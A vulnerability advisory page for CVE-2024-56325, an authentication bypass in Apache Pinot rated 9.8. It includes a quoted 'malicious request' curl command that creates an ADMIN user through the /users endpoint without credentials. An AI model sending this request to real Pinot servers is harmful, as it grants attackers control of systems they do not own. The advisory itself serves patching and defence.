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UK Cyber Defence
VulnerabilityAnalyzed

CVE-2024-56325

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required.

CRITICAL 9.8EPSS 80.2%

Does this matter?

EPSS puts the probability of exploitation in the next 30 days at 80.2%, higher than 100% of all known CVEs. Patch or mitigate before the next change window.

Description

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

CVSS 3.1
9.8 CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
80.21% probability · 100th percentile
Public exploits
None in Exploit-DB
CISA KEV
Not listed
Weakness
CWE-288
Affected
apache/pinot
Source
security@apache.org
EPSS trend
0%43%85%2 November 2026: 80.21%2 November 20262 November 2026

EPSS 80.2% since 2 November 2026; no change recorded yet. The dashed line is the ten per cent mark our analysts treat as “patch before the next change window”. Points are recorded when the score first appears and whenever it moves by a percentage point or more.

Source: NVD record, EPSS from FIRST.org, KEV from CISA, exploits from Exploit-DB. Refreshed daily. Download this record as JSON.